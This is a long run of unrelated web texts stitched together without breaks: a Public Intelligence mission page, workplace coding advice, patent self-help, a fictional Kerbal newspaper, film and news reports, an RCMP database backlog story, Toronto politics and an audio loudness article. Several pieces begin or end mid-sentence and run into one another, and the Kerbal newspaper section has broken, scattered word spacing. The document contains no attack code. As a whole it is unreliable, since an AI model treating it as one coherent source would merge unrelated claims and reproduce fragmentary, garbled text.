"The other belief is that the new warmer, drier, winters are the norm rather than the exception."“In the absence of the governmental checks and balances present in other areas of our national life, the only effective restraint upon executive policy and power in the areas of national defense and international affairs may lie in an enlightened citizenry — in an informed and critical public opinion which alone can here protect the values of democratic government. For this reason, it is perhaps here that a press that is alert, aware, and free most vitally serves the basic purpose of the First Amendment. For, without an informed and free press, there cannot be an enlightened people.” – Justice Potter Stewart, New York Times Co. v. United States, June 30, 1971
What is Public Intelligence?
Public Intelligence is an international, collaborative research project aimed at aggregating the collective work of independent researchers around the globe who wish to defend the public’s right to access information. We operate upon a single maxim: equal access to information is a human right. We believe that limits to the average citizen’s ability to access information have created information asymmetries which threaten to destabilize democratic rule around the world. Through the control of information, governments, religions, corporations, and a select group of individuals have been able to manipulate public perception into accepting coercive agendas which are ultimately designed to limit the sovereignty and freedom of populations worldwide.
This site is an attempt to compile and defend public information using software and methods which are open source and available to the public at large. It is our hope that by making such information available and demonstrating the power of a public resolved to inform itself, we may engender a more informed and proactive populace. Within our first two years of operation, we have already received more than twenty threats and takedown notices from government agencies and corporations around the world for publishing documents discovered via open source methods available to any member of the public. No information has ever been removed or censored.
We provide documents, detailed analyses, and a host of other open-source intelligence products from the private and public sector. We attempt to provide information in a way that minimizes our involvement as much as is possible. Documents are provided in a raw format, available for download, with only excerpts and key facts accompanying them. The information in our analyses is collected and aggregated in a way that seeks to highlight facts that are neglected by traditional, mainstream sources.
What has Public Intelligence done?
Since its beginnings in the summer of 2009, PI has published thousands of documents relating to everything from computer forensics to the war in Afghanistan. Information published on this site has been cited in newspapers, magazines, books, television shows, scholarly articles and reports from leading think tanks around the world. Governments, corporations, law enforcement organizations, as well as private citizens, use PI to research primary source material relating to a large number of topics that affect the safety and security of their daily operations. Here are a few brief examples of significant material published by PI:
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If you have information of importance to the public at large, we can help you to publish this information and maintain its availability. We have an established platform for the publication of sensitive information that is robust and capable of maintaining public access to information in the face of opposition from corporations and governments around the world. No document has ever been removed from this site and we operate a multi-jurisdictional network of servers that is designed to inhibit attempts to censor us and the content we publish.
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This site aggregates the collective work of our researchers and makes it available in a format which is designed to be as accessible as possible. We endeavor to make complex information and documentation available to a mainstream audience. Everything on this site is accessible free of charge. All of our original content is considered to be in the public domain and may be reproduced freely. We sometimes utilize material which is copyrighted in the production of our content, often without prior approval. However, this is done in a manner that is consistent with fair use, particularly that which is protected under Title 17, Chapter 1, § 107 and § 108 of the U.S. Code. This site utilizes minimal advertising to ensure continued operation and does not seek commercial advantage from the reproduction of such works.
PGP KeyIt's not a joke, I could not stand to have this happen a fourth time, it's impacting me mentally.
This line is important, because it shows that you feel it is time to change. It shows that you recognize this as a pattern, and would like the pattern to stop. That desire is probably the most important part of the solution. Fixing these sorts of situations often involves changing the way you, yourself, think. It's impossible for someone to do that for you, so your desire to change will be the one thing that makes the change happen.
For some background, I've been in similar "too good at coding for my job" situations before, though never to the degree you describe. I could cure cancer with template metaprogramming in C++, but many whom I work with are barely versed in the basics of Object Oriented Design. I wrote code which abused SFINAE and pushed right up against the exact wording of the C++ specifications, when many projects I worked on were still using antiquated and buggy versions of gcc. My approach was simply to show them just how amazing these tools are, and all the problems it could solve. I loved explaining little programming tips to people, and they largely enjoyed it.
Does that sound familiar?
"Yes, but one should have a good level to understand [Mik's code] because components are intelligently decoupled."
Consider this statement from a risk based perspective. Your boss needs to keep things going, no matter what. If you leave to go chase some awesome job opportunity, your boss still has to make sure the code gets maintained. What your coworker just said was that, if they have to replace you, they need to find a very skilled coder, because anyone who isn't that good will not be able to maintain it. This is a risk. What if they can't find a good enough developer, or can't afford to pay them enough?
You may have produced what you would call "good code," but the definition of "good code" is very much dependent on the context. What is "good code" at Google, with their cutting edge ways of thinking, may be very bad code for someone working at the FAA, who is predominantly concerned with reliability rather than keeping up with the cutting edge. Your boss' definition of "good code" includes the ability to maintain it in all sorts of situations, including without you. If your coworkers are not comfortable maintaining your code, then you are suddenly a liability to the company, because you produce product which they cannot maintain if you decide to go elsewhere.
From this perspective, one may argue that you are forcing them to accept your definition of "good code." Instinctively, this may appear to be a good thing, but it is fraught with difficulty, such as this risk based way of thinking which you may not have been thinking of.
We have a phrase, "putting the cart before the horse." One of the many meanings associated with it is putting the content you care about most (being able to use your advanced techniques) over the forces which should be pulling it forward (your coworker's understanding of these techniques). You've written the code in this advanced style, and then encouraged the other developers to "catch up" to this style. This can be effective, but if anything happens to you before they "catch up," the company is suddenly at risk because nobody can maintain the code.
How can I avoid this in the future?
Fixing this can be a terribly hard thing to do because it involves approaching the problem in a different way than you are typically comfortable. Instead of first writing code in this advanced style, and then teaching your coworkers how to think that way, you should flip it around. Teach your coworkers to like that style of coding, and then start writing code in that style. It may seem backwards, but its much more stable. From a boss' perspective, there's little to no risk from the team learning to code better. Once they code better, the style you want to develop in is suddenly less risky.
In the mean time, you will have to write code which, by your standards, is "less good," but that's okay. Your code is not your only product here. Your other product is helping teach the other developers, and the value of that can easily exceed the value of writing "perfect code."
Of course, it can be hard to tell when it's safe to write code in the style you want to write in. If it was easy to tell, you'd certainly have figured it out by now! One powerful technique you can use is to let others push for the advanced coding styles, rather than pushing for it yourself. It's one thing to teach someone the difference between inheritance and composition. It's an entirely different thing to teach them well enough that they advocate changing your existing codebase to be more clear in when it uses them. The latter case really lets you know that not only do they get the concept, but truly embrace it.
One ideal for teaching such concepts is to teach nothing. Let the students discover something, and then you point them in a direction that discovery can go. Maybe one of them discovers something neat about inheritance and you can point them towards the Visitor design pattern based on what they discovered. Don't just give them Visitor, but give them a sense of direction so that they can go out and find Visitor themselves.
It's a much more difficult approach, and you'll certainly want to find a happy medium between that and your current approach, but it can be very rewarding. More importantly for your answer, it can provide value to the company without the risk. If you are providing value to a company, and not putting the company at risk, you will virtually never get laid off. And in the few cases where you can still get laid off, management will provide a reason for it (such as a downturn in the economy, or a shift in direction of the company). If you do it very well, you'll find that management instead will start shaping your path, just as you shape your coworkers, and you'll find a curious tendency for you to have learned just the right skill just when they need it most.Stephen King - a long-time fan of DC Comics’ Caped Crusader and Boy Wonder - once wrote a short story about Batman and Robin for Harper's Magazine back in 2012.
Years later, on NPR’s Too Hot for Radio, actor Stephen Lang - best known for his role in Avatar - has read aloud ‘Batman and Robin have an Altercation’ to quite harrowing effect.
The story, which was included in King’s collection of short stories titled The Bazaar of Bad Dreams, follows a son and father, who has Alzheimers, as they recollect stories from their past.
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The father can only remember one event, though: when the pair dressed as Batman and Robin for Halloween. Listen to the full podcast below, beginning at the 5.30 mark, via Polygon.
Previously, King has written extensively on his love for The Dark Knight, releasing a short essay (read here) detailing exactly why he likes the character so much.
Meanwhile, multiple adaptations of King’s work are being brought to the big screen, including a new version of IT and The Dark Tower.
Shape Created with Sketch. Batman v Superman concept art (spoilers) Show all 14 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Batman v Superman concept art (spoilers) 1/14 Across the Alley 2/14 In homage to Rembrandt's "The Descent From The Cross" 3/14 The End of the Fight 4/14 Doomsday - Lean & Spacey 5/14 Doomsday 3D sketch 6/14 3- Up 7/14 Doomsday 8/14 Doomsday 3d sculpt study 9/14 Doomsday gets hit by a Nuke 10/14 Superman v Doomsday 11/14 Bat Swing 12/14 Doomsday head study 13/14 Batman takes a kick 14/14 Superman v Doomsday 1/14 Across the Alley 2/14 In homage to Rembrandt's "The Descent From The Cross" 3/14 The End of the Fight 4/14 Doomsday - Lean & Spacey 5/14 Doomsday 3D sketch 6/14 3- Up 7/14 Doomsday 8/14 Doomsday 3d sculpt study 9/14 Doomsday gets hit by a Nuke 10/14 Superman v Doomsday 11/14 Bat Swing 12/14 Doomsday head study 13/14 Batman takes a kick 14/14 Superman v Doomsday
NPR’s Too Hot for Radio is a new podcast that looks at successful writers’ short stories.Frequently inventors are faced with a dilemma that is all too common for entrepreneurs. Generally speaking, most will bootstrap a project, whether it is an invention or start-up. That means long hours working without compensation, without revenue and not enough money to do everything that really needs to be done in a perfect world. Lack of funding presents great challenges.
The first entrepreneurs’ dilemma that inventors typically face is with respect to whether to hire a patent practitioner or to simply go it alone and prepare and file a patent application. Obviously, if you can afford competent legal representation that would be the best path to take, but entrepreneurs, and inventors, rarely have the funds available to do everything that really needs to be done. Thus, corners sometimes need to be cut. That is just the nature of business.
The problem with cutting corners in the patent space is that there are so many pitfalls lurking around nearly every corner. Indeed, representing yourself can be a little like taking out your own appendix. If you have acute appendicitis and you are hiking in the mountains many hours away from the nearest hospital taking out your own appendix looks like a much better option all of the sudden given the alternatives. But ordinarily you wouldn’t dream of removing your own appendix. Similarly, if possible you really shouldn’t be representing yourself as you seek a patent. There will be times, however, when it is either do at least some of the work yourself or the project just can’t move forward.
Not surprisingly, many inventors faced with this entrepreneurs’ dilemma will decide to proceed on their own, at least initially. That is a perfectly fine choice, but it needs to be done with eyes wide open. It also requires the do-it-yourself inventor to become as knowledgeable and familiar with the process of describing an invention and drafting a patent application as possible.
Before you decide to embark on the path of preparing your own patent application, even a provisional patent application, there are a few questions about your invention you really need to consider. Ultimately, whether you decide to go it alone and do-it-yourself or you hire a patent professional, having this information at the ready will greatly facilitate the process.
What are functions or features that consumers will identify as an advantage? Are those functions or features likely to be patentable or contribute to the patentability of your invention? What other solutions currently exist that consumers could identify as substitutes for your invention? What patents or published applications exist that relate to your invention? If there are patents are they in force or have they expired?
These questions are critical because they will start to get you thinking about your invention in a different way; in a way that most inventors are unaccustomed to thinking. The truth is that with any invention there will be pieces, parts, features, functions or characteristics that are more likely than others to contribute to patentability. A patent attorney would need to identify what those features are, so you should as well. Inventors absolutely must start with identifying the patentable feature. Only then can you really ever determine whether moving forward with a patent application makes sense.
For example, it might be interesting that your new widget is the first of its kind to be painted yellow, but will painting it yellow contribute to the patent examiner believing you’ve invented something worthy of a patent? No. What you need to do is identify the inventive concept and decide whether that is enough to warrant the time investment and cost associated with obtaining a patent. Hopefully that inventive concept will be something that consumers will identify as an advantage. Remember, obtaining a patent costs money so the only way it will make sense is for you to be able to charge a premium for your product or service. If you patent something that consumers do not perceive as an advantage that usually winds up being a poor business decision in the long run.
In addition to focusing on the core of what makes the invention unique, which will hopefully be perceived as an advantage, you need to know what else is available on the market, and what else has been patented or attempted to be patented. For you to get a patent your invention must be unique when compared with the prior art (i.e., that which is known, such as those things available on the market, patented or published in patent applications). You simply cannot know whether what you have is unique unless you compare it to what is known to exist. That means you absolutely must know what previously exists and then compare it to your invention. This means you are going to need a patent search. While it makes sense to do your own search it is generally the case that inventors find little even when there are volumes of relevant information to be found, so a professional patent search can be a very worthwhile investment even if you are going to otherwise attempt to do the rest of it (or much of the rest of it) yourself.
The last critical thing from the list above deals with whether any previously issued patents that relate to inventions that address the same problem have expired. This is an absolutely critical consideration because once a patent expires the invention and all obvious variations of the invention fall into the public domain. When a patented invention falls into the public domain anyone could use that invention or any obvious variation of the invention for free. It can be very difficult to compete against free unless what you’ve come up with provides a significant advantage. Therefore, it is important to not only consider the existence of the prior art, but it is critical to consider whether there is prior art that is too close that has now fallen into the public domain and is freely available. Potential licensees will consider this, and so should you. It can be a major hurdle to a business deal, which means it is better to know up front rather than after you’ve invested large amounts of time and money.
For those who are going to go it alone I’ve created a self-help system – The Invent + Patent System™ – which has helped many thousands of inventors create provisional patent applications. Even if you wind up deciding to hire a patent attorney using this system can and will help you create a much more detailed disclosure of your invention, and get you to think about things you undoubtedly never would have thought about otherwise. If you are going to go it alone I strongly recommend you consider using it, but frankly any inventor could benefit from using the system. I also recommend you do as much reading on IPWatchdog.com as possible, focusing on those articles that relate to completely describing your invention in a patent application. Specifically, at a minimum I recommend the following articles:
Additional Information
For more tutorial information please see Invention to Patent 101: Everything You Need to Know. For more information specifically on patent application drafting please see:The Kerbin Times
From Kerbin For Kerbalkind - All the News That’s Fit to Print!
Issue #2, KST Y1
年
D 2
号
Space Programme on Schedule with Sub-Orbital Flights
Promotions A warded
KSC
- Senio r Pilot Jebediah Kerman has been award ed a pr om oti on to the ran k of En sig n, aft er su ccess fu lly comp leting variou s test fligh ts for the space pro gram. H is service ribb on s a lso in clu de alt it ud e, sp eed and g- fo rce record achievement awards.
Jebediah Kerman may be proud of his service ribbons
KSA partners with SSI Aerospace group
KSC
- Th e Ker bal Sp ace Ag en cy has
Safe splashdow n after 72km altitude reached
KSC
- A sub-orbital test flight and successful recovery of the vessel, including pod an d pr op ul sio n, ha s be en co nd uc ted as pa rt of th e ju st rece nt ly sta rt ed sp ace prog ramme. Accordin g to KSA press relea se, the capsule was mann ed by senior pil ot Jebediah Kerman, and launch ed from KSC launch comp lex yesterday at abou t 04 :30 h local time. The launch was directed about 5° east, and splashed softly into the ocean about 10 minutes later after reaching the targeted altitude of 72 km above ground. Deceleration wa s achieved using a c omb ined set of dro gue parachu tes to slow down the initial re-entry, and a pair of main parachutes to perform terminal slow-down to a safe splashd own speed. The capsule a nd pr op ulsio n was then kep t afloat by help of an air-inflatable cushion, dubbed “floaty” by manufacturer USI. Flig ht director Ge ne Kerman was happ y to a nn oun ce that the first scientific data from the vacuum of space has been brought back, including measurements of the mysterious goo component, of which scientists around Kerbin hope that one day it’ll magically solve all existing problems. A pr ess pi ctu re of the capsu le at its peak altitu de (so called
periapsis
) ha s be en released by KSA, and
The Kerbin Times
is very happy to provide our readers with a high-definition 128-bit copy of said beauty-shot.
Commentary: Big Fish
by Krugman Kerman
“Make no mistake thinking that shooting up ro cket s in to th e sky is som eth in g rou tin e whi ch hap pen s to hap pen
en
masse
every 42 6 days anyway. So how can barely leaving the up per atmosp here and falling back down be considered an achiev emen t, be br agg ed abo ut by th e space agency? Well, I got news for all tho u pun dits: in a space pro gram this is actually qu ite
big
fishStudents in Washington, D.C. expressed little pride in being American during a man-on-the-streets video published Tuesday, with most rating their patriotism “around a five” out of 10.
In addition to rating their patriotism, the students at George Washington University also addressed which country they deemed the best in the world and the idea of American exceptionalism in the video released by Campus Reform.
WATCH:
“I was proud to be an American even until a few months ago,” said one student, possibly referring to the inauguration of President Donald Trump.
When asked, none of the students featured in the video thought that America was the best nation in the world, with one student stating that Scandinavian countries were better and another saying that an overt focus on profit causes America to fall behind other nations.
However, several students seemed to have a favorable view of American exceptionalism, with one noting that it provided him with the chance to attend college, unlike his parents.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected] a summer seemingly defined by how disappointing so many movies have been, Star Trek Beyond is an oasis. It’s crowd-pleaser that has something on its mind, a sequel that’s not painfully beholden to massive franchise plans, and a story about the power of positivity overcoming darkness. In short, it’s a unique release for 2016…and the right antidote for 2016.
And since it’s Monday and you’ve had a chance to see it, let’s take a deeper dive into what makes this movie tick.
What is Star Trek, Anyway?
When Star Trek Beyond first began screening, an old argument was dragged into the public yet again: what is Star Trek? And who is it for? And does this, the latest iteration of a 50-year old franchise, actually count as Star Trek or is it something the more serious fans, the aficionados who have studied Enterprise blueprints, should write off as not mattering in the grand scheme of things?
The truth is that this discussion is inherently silly. Star Trek isn’t so easily identifiable as a single thing. It’s too big for that. Even creator Gene Roddenberry couldn’t make up his mind and his original “wagon train to the stars” pitch evolved over the years, transforming from heady, spacey, pulpy science fiction into something of a social document that used sci-fi as a backdrop for a utopian portrait. The original series is a different beast than Star Trek: The Next Generation. Star Trek: Deep Space Nine is a different beast than most of the movies. The Kelvin Timeline, the rebooted series created by J.J. Abrams, is its own animal.
And it is an animal that suits new director Justin Lin‘s sensibilities just fine. Although he grew up a Star Trek fan, Lin’s interests are more varied. In Star Trek Beyond, you can see the other facets of his personality shining through. He likes fast vehicles and intense action. He has a soft spot for goofy humor. The blockbuster-friendly pacing that he perfected while transforming the Fast and Furious series from a terrible movie franchise into a hugely entertaining one is on display here. Lin may like Star Trek, but he’s a jock at heart, the kind of kid who left the house to play basketball when other Trek fans cracked open those technical manuals. Star Trek Beyond is the obvious work of a casual fan – he’s aware of the iconography, but nothing is sacred. Him blowing up the Enterprise in act one feels like statement.
Star Trek Beyond is Star Trek because it doesn’t feel quite like what came before. That’s the whole point of Star Trek. There are shades of the original series in how Kirk and the crew solve a trick problem on the Planet of the Week. There are shades of The Next Generation in how it holds humanity’s unlimited potential up on a pedestal. There are even shades of Deep Space Nine, a show that continuously questioned the purpose of the Federation and Starfleet and explored what it means to function in a society where perfection is the norm. But most of all, Star Trek Beyond is a spirited adventure, an optimistic romp, a tale of colleagues, a makeshift family, coming together and fighting for what they believe in. Lin is a jock. His Captain Kirk, who even gets to drive a motorcycle like a more traditional action hero, is also a total jock. However, they’re the kind of jocks who fraternize with the nerds and rely on them and treat them with the utmost respect. Star Trek Beyond isn’t Trek at its smartest, but it’s the first Trek movie in a long time that stands in awe of what a mixed team of experts from all different backgrounds can accomplish.
Splitting Up
Whenever I start watching a new television show, I give it a simple test. Could you take any two characters and separate them from the rest of the ensemble and enjoy their interactions? For the best shows, the answer is generally yes. A strong cast isn’t made up of individuals – it’s a team. Each actor, each |
been finalized and will be submitted to the Duma in the near future.
While the law’s new stricter provisions will be welcomed by rightsholders, the music industry will again be disappointed. Movies and TV shows are covered by current law, but music is not, and the package of amendments about to be presented will not see the introduction of music protection until 2016.84-year old dominatrix Catherine Robbe-Grillet, the “most famous dominatrix in France,” thinks Fifty Shades of Grey is practically G-rated.
“It’s a poorly written fairy tale and much too soft,” Robbe-Grillet told the Daily Mail. “Real bondage is massively more fulfilling.”
Robbe-Grillet, wife of the late French writer and filmmaker Alain Robbe-Grillet, has been living with Beverly Charpentier, 51, since her husband’s death seven years ago. Chapentier is Robbe-Grillet’s “submissive;” the two women engage in regular, “brutal” bondage sessions at their 17th century Normandy chateau, using whips, chains and other weapons in the bedroom.
“Fifty Shades of Grey is a romantic fairytale by comparison,” Robbe-Grillet told the Mail. “It’s romantic literature – effectively the story of a powerful man, a Prince Charming, and his adventurous relationships. There are spicy bits, and the scenes certainly inspired an interest in bondage, discipline, and dominance, but I don’t believe it did much to increase the number of people taking part.”
In contrast, Robbe-Grillet’s relationship with Charpentier seems a lot spicier. In 2005, Charpentier reportedly wrote an “oath of allegiance” to the octogenarian dominatrix. Charpentier wrote
Madame, you have asked nothing of me; it is, therefore, of my own free will that I offer to you allegiance, obedience and loyalty. I swear to serve you faithfully in all things great and small, to obey your orders, carry out your wishes, whatever they may be. I commend to you everything I possess, material, intellectual and physical, that you may dispose of what I have as you see fit. I swear to dedicate myself to you.
Robbe-Grillet admitted that she only read the first book in the Fifty Shades series, calling it “poor literature.”
Interestingly, early reviewers of the film adaptation of Fifty Shades, in theaters this weekend, level much of the same criticism at the movie. USA Today‘s Claudia Puig wrote that “those looking for hot, kinky sex will be disappointed,” while Entertainment Weekly‘s Lisa Schwarzbaum wrote that “nobody sweats, nobody strains, nobody loses control or even fakes losing control by simulating an orgasm.”
Read the rest of the Daily Mail‘s interview with Robbe-Grillet here.NYC Transit Museum's "Bringing Back the City" View Full Caption
DOWNTOWN BROOKLYN — New York City is no stranger to crisis.
But when disaster strikes the city, it isn't just police officers and firefighters who spring into action. Mass transit workers often turn into first responders in situations ranging from deadly storms to catastrophic terrorist attacks.
"Bringing Back the City: Mass Transit Responds to Crisis" is a look at how the system and its employees prepare for and deal with calamities that have hit the city.
The exhibit, which opens Sept. 30 at the New York Transit Museum in Downtown Brooklyn, will highlight photographs, artifacts, multimedia installations and the stories of people who work to restore the network that millions of New Yorkers rely on every day.
While transportation agencies receive their share of criticism for unexpected delays and aging infrastructure, commuters rarely remember times when these employees work tirelessly through a deadly crisis.
The exhibit will give people a chance to see "the critical role the city’s public transportation system and its workers play within the life of the city — both in times of crisis and on a day-to-day basis,” Josh Feinberg, the curator said in a statement.
"Bringing Back the City" will be split into four areas, highlighting both man-made and natural disasters, the Museum said in a press release.
Those include the Sept. 11 terrorist attacks, the blackout of August 2003 in which thousands of commuters were stuck underground for hours, and destructive weather events such as Hurricane Sandy, Hurricane Irene and the blizzard of 2010.
"Most New Yorkers don't realize that transit personnel are also on the front lines when disaster hits the city," said Gabrielle Shubert, the museum's director.
The exhibit also includes a glimpse at how transit workers are making the system more resilient for future events.
For more information, as well as scheduled panels and tours, visit this website.The RCMP says it will now need until 2020 to finish uploading nearly half-a-million backlogged files to a nationwide criminal-record database, despite previously saying the job would be done next year.
Criminal justice experts say they are troubled by how much time it has taken the RCMP, which manages the database, to eliminate the backlog for a database that is relied upon not only by police officers, who use it to check suspects’ backgrounds, but also by employers and volunteer organizations who use it to vet job applicants and the courts who use it to make bail and sentencing decisions.
“Prosecutors would like to see this get resolved across the country … so we can have an up-to-date picture of each individual coming through the court system,” said Rick Woodburn, president of the Canadian Association of Crown Counsel.
Over the last decade, Canada’s auditor general has repeatedly taken the RCMP to task for how much time it has taken to enter fingerprint and criminal history records into the Canadian Police Information Centre (CPIC) database, and rated the agency’s level of progress as “unsatisfactory.”
In 2015, Tom Stamatakis, national president of the Canadian Police Association, told Global News that public safety could be at risk. He used the example of a parolee who has a run-in with the law.
“If that person has contact with the police and the police check the database to find out the person’s status but the information isn’t there, you could potentially release someone who should be arrested for breaching parole conditions.”
That same year, an RCMP spokesman told the CBC that the backlog of files would be cleared by 2018.
We can have an up-to-date picture of each individual coming through the court system
But internal agency records obtained earlier this year by Alberta blogger Dennis Young through an access-to-information request revealed that as of August 2016, there were still 570,639 criminal files that hadn’t been uploaded to the database, which contains more than 4.4 million individual files.
The records showed that from 2013 through 2015, there were 388,122 new criminal convictions, but only 58 per cent of files related to those convictions were entered into the CPIC database — this despite a boost in funding during that period, from $1.7 million to $2.8 million, to address the backlog.
This week, the National Post asked the RCMP for an update and was told by spokesman Sgt. Harold Pfleiderer that the backlog peaked in the fall of 2016 and that the number of criminal files waiting to be entered into the CPIC database now stands at 442,325.
Historically, the system relied on paper-based files, Pfleiderer said. But the force has been working with other police agencies to develop a fully automated and digitized system that will allow criminal record information to be uploaded in “near real-time.” This system should be completed by the end of the year, he said.
Further, “a plan has been put in place to prioritize the elimination of the backlog holdings,” he wrote in an email. “Priority files that contain either sex, weapons, or violent convictions are targeted to be fully updated by early 2018. The remainder of the backlog is projected to be eliminated by 2020, keeping in mind that these timelines may vary depending on other RCMP and government priorities.”
Currently, the force has 69 analysts working to eliminate the backlog and a budget of $3.9 million, he added.
The number of criminal files waiting to be entered into the CPIC database now stands at 442,325
Woodburn said he worries that the lack of a reliable nationwide database could result in criminals being treated like first-time offenders by the justice system when, in reality, they have committed crimes in other parts of the country.
“Our criminals are very transient now. It used to be that they liked to stick to their hometown. They are travelling across the country, they know they’re mobile, and they’re committing various crimes in various areas. The problem is that CPIC is not picking that up,” Woodburn told the House of Commons standing committee on justice and human rights in April.
Because of the gaps in the database, Woodburn, who is based in Halifax, said it’s not uncommon for he and his fellow prosecutors to have to call up other jurisdictions to verify whether someone has a record in those places or not.
Pfleiderer said if police agencies or Crown attorneys need criminal records updated for court purposes, the RCMP can expedite those requests.
• Email: [email protected] | Twitter: dougquanThe man who was the brains behind Rob Ford's campaign for mayor is now backing potential Ford rival John Tory.
Nick Kouvalis was at Mr. Ford's side as he rose from a cranky suburban councillor who no one took very seriously to a front-runner in the 2010 campaign and finally to mayor of Canada's biggest city. He helped fashion the populist Ford Nation movement, with its slogans like Stop the Gravy Train and Respect for Taxpayers.
Now, fed up with Mr. Ford, he has joined a backroom effort to support Mr. Tory if and when he decides to run against Mr. Ford in this October's election.
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Those close to the Tory organization say that the high-profile political operative has been acting as an adviser, talking to Mr. Tory about why he should run and how he might shape a campaign and also talking to fellow Tory supporters about tactics and timing.
"He has been involved very actively in framing up the campaign," says city councillor Jaye Robinson of Ward 25 (Don Valley West). "I would say he is a key adviser on the campaign."
Mr. Ford fired Ms. Robinson from his cabinet-like executive committee last June after she called on him to give fuller answers about reports of a crack video. She says she approached Mr. Tory last summer and has met with him twice since then to talk about a mayoral run.
"I kind of see John as the whole package – socially liberal and fiscally conservative. He has that whole statesman thing going on." As for Mr. Kouvalis, she said: "I think that it's very telling that the man who successfully brought Rob Ford to power is now on John Tory's team."
Telling, it is. Mr. Kouvalis was briefly chief of staff for the mayor after Mr. Ford took office in December, 2010, and continued to advise him and his brother Doug. But he soon began to differ with the Fords, telling them they were bungling things by failing to build support on city council on key votes.
Last summer, Mr. Kouvalis was telling people he would neither work for Mr. Ford in 2014 nor join a rival campaign. But by the fall, Mr. Kouvalis was meeting with Tory supporters.
Asked on Tuesday about his role, Mr. Kouvalis said, "The only thing that I would say is that if John Tory decides to run, he's going to be the mayor. I think he can get things done. It takes votes on council to get things done."
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The irony is rich. One of his tricks in the 2010 campaign, Mr. Kouvalis once boasted, was a bluff intended to spook Mr. Tory out of running against Mr. Ford. A Ford campaign member called Mr. Tory's talk-radio show and questioned his integrity. Mr. Tory later said the call did not affect his decision to pass on running in 2010.
Whether Mr. Tory will pass again this year is the $64,000 question. Neither he nor Olivia Chow, the NDP MP considered to be Mr. Ford's other big-name potential rival, has declared an intention. But Mr. Tory, a former Ontario Conservative leader who came a close second in the 2003 race for mayor, has a strong and experienced group of backers with ties to both the Liberal and Conservative parties.
It is hard to say for sure till he announces something whether Mr. Tory will throw his hat in, but if he does, it won't hurt to have Mr. Kouvalis on his team. For Mr. Ford, on the other hand, it is a bitter blow indeed.The war is over…
This war is finally ended. There are no winners or losers – it simply became meaningless.
The war of loudness, started way back in the 1940 and becoming increasingly fierce up to the beginnings of the turn of the century – is about to end. Aggressive mastering techiques – using hyper compression and peak limiting as weapons are becoming an obsolete way to make your mix stand out from the crowd. Still, these techniques can be used for artistic purpose – but they will not make your song louder than others when played on Spotify or the likes. They will actually make it sound worse.
The war of the “volume” has lasted long enough to shape the way material was produced – especially when digital recordings removed the tape and vynil physical level constraints. Not only that, but has shaped what we were – and still are – used to expect from a track: squeezed dynamics, extreme control, “compact sound”. Then we would complain about the “good-old” vynil dynamic ranges – but we’d still stick to a smaller sound even when making final home studio premastering decisions. Infact, the digital realm has a lot more dynamic range capabilities then tape – we simply weren’t using it.
There’s is a complete, extremely interesting article on this topic (Sound On Sound released 2014 – link here) – tracing the history of this war-to-be-louder in music, brodcasting services and the audio industry in general.
“As you can probably imagine, during the music industry’s transition from a peak-normalisation workflow to one driven by loudness-normalised consumer outlets, there will be conflicting mastering requirements. Should a track be mastered to sound as loud as last year’s music when played on CD? Or should it be mixed and mastered to be a little more dynamic so that it fares better when played on loudness-normalised radio and streaming services? Decisions, decisions!” (Hugh Robjohns, End of the Loudness War? SoundOnSound.com
For some reference and views about the end of the Loudness War, I also suggest you read this: The Loudness Wars – Thoughts form 62 Mastering Pros @ audioskills.com
Where does loudness normalization come from…
My ears do not have a linear frequency response. At a given volume I will be able to hear some frequencies better than others. Our hearing system behaviour in regards to frequency response is graphically represented in the Equal Loudness Contour curves (ELC) developed by Fletcher and Munson in 1933. “An equal-loudness contour is a measure of sound pressure (dB SPL), over the frequency spectrum, for which a listener perceives a constant loudness when presented with pure steady tones” (Wikipedia). In 1956, new experimental evidence by Robinson and Dadson helped define the ELC ISO standards 226. More recent studies have lead the ISO to revise the standard (now called ISO 226-2003). The curves of this latest standard present noticeable differences with the 1956 graphs, and, surprisingly, are in better agreement with the “original” Fletcher- Munson curves.
How can we measure Loudness…
The difference between volume (level) and loudness:
Volume (level) is an objective measure of the audio signal strenght.
Loudness (or perceived loudness) is a subjective measure of an audio signal strenght – (eg. a certain sound can be perceived differently by two different people)
Loudness is an auditory sensation – the amount of signal pressure perceived by the hearing system allows to place sounds on a scale extending from quiet to loud.
When listening to audio streaming services, a playlist from you CDs, TV or even radio, there are sometimes consistent changes in perceived loudness between songs or programs. This is because the intensity that we perceive is determined by various factors: peak level, dynamic range (peak variations – in this case) and frequency content (remember the ELC…)
If you think about it, loudness normalization is a process that has to start during the early stages of the mix. A VU meter or a RMS meters usually are a good reference point, but it is crucial to have a Loudness Meter inserted in the stereo mix channel, if we want to work in a loudness normalized environment.
In the broadcasting world, a loudness target level is determined by the broadcaster (usually between -16 and -24 LUFS – Loudness Units Full Scale) and the meters level will have to be referenced to that target, so that all the audio material is reproduced at an equal perceived loudness. (For example: iTunes Soundcheck is at -16 LUFS).
A loudness meter measures the entire song – or the entire album or playlist – and determines the overall average loudness of the different audio programs – and applies a gain offset to individual tracks when required. Using the loudness normalization standard has ended the need of overly compressed mixes: these mixes will have a higher perceived loudness, so they will be turned down – and sound small and poor in energy, when compared to more dynamic mixes.
It has to be said that standards regarding loudness are a work-in-progress, so you should follow this topic in order to always keep updated with the latest industry requirements. Here’s a very complete and recent article on loudness normalization: “Loudness Normalization”, by Edgar Rothermich (www.logic-pro-expert.com)
Some Free Loudness Meter Plugins…
The following plugins are free. Please check compatibility with your system in the manufacturer specs before download. Also, be aware that loudness industry standards are subject to change over time.
The Youlean Loudness Meter features International Standard Compliances. It features a Smart Loudness Memory that saves session data and recalls it when reloading the session. It is available for download here.
The Melda Production Loudness Analyzer features a peak meter, momentary, short-term and integrated loudness metersand a loudness range meter. Supports EBU+9, EBU+18 and EBU+27 scales. Full description on the Melda website – you can dowload it here.
Hofa 4U Meter, Fader & MS-Pan. This plugin uses the European Standard EBU R128 scale, but its still a good reference meter, as standards are quite close to each other. Download available on Hofa officila page here.
So, the loudnes war has ended… because it is now meaningless. Like every war, really. If we could finally realize how meaninless they are – they will probably all end.I received Game of Thrones magnetic prose. Oh boy. You know, I almost got this for my match, but didn't. When I looked at it online, I was like, "This is really cool. I might wind up getting this for myself at some point." Well, sure enough, Santa must be a Warg, because (s)he totally got in my head and sent this awesome set of magnet words.
My GF and I are already figuring out ways to use them to leave messages for each other. Examples: "Send Raven for Fire and to Stop Dark Terrors." could mean "Mail electric bill." or "The White has taken The Black." could mean "The milk has gone bad." or perhaps (TV SHOW SPOILERS) "Winter is Coming for Theon's sword" means "There's sausages in the freezer."
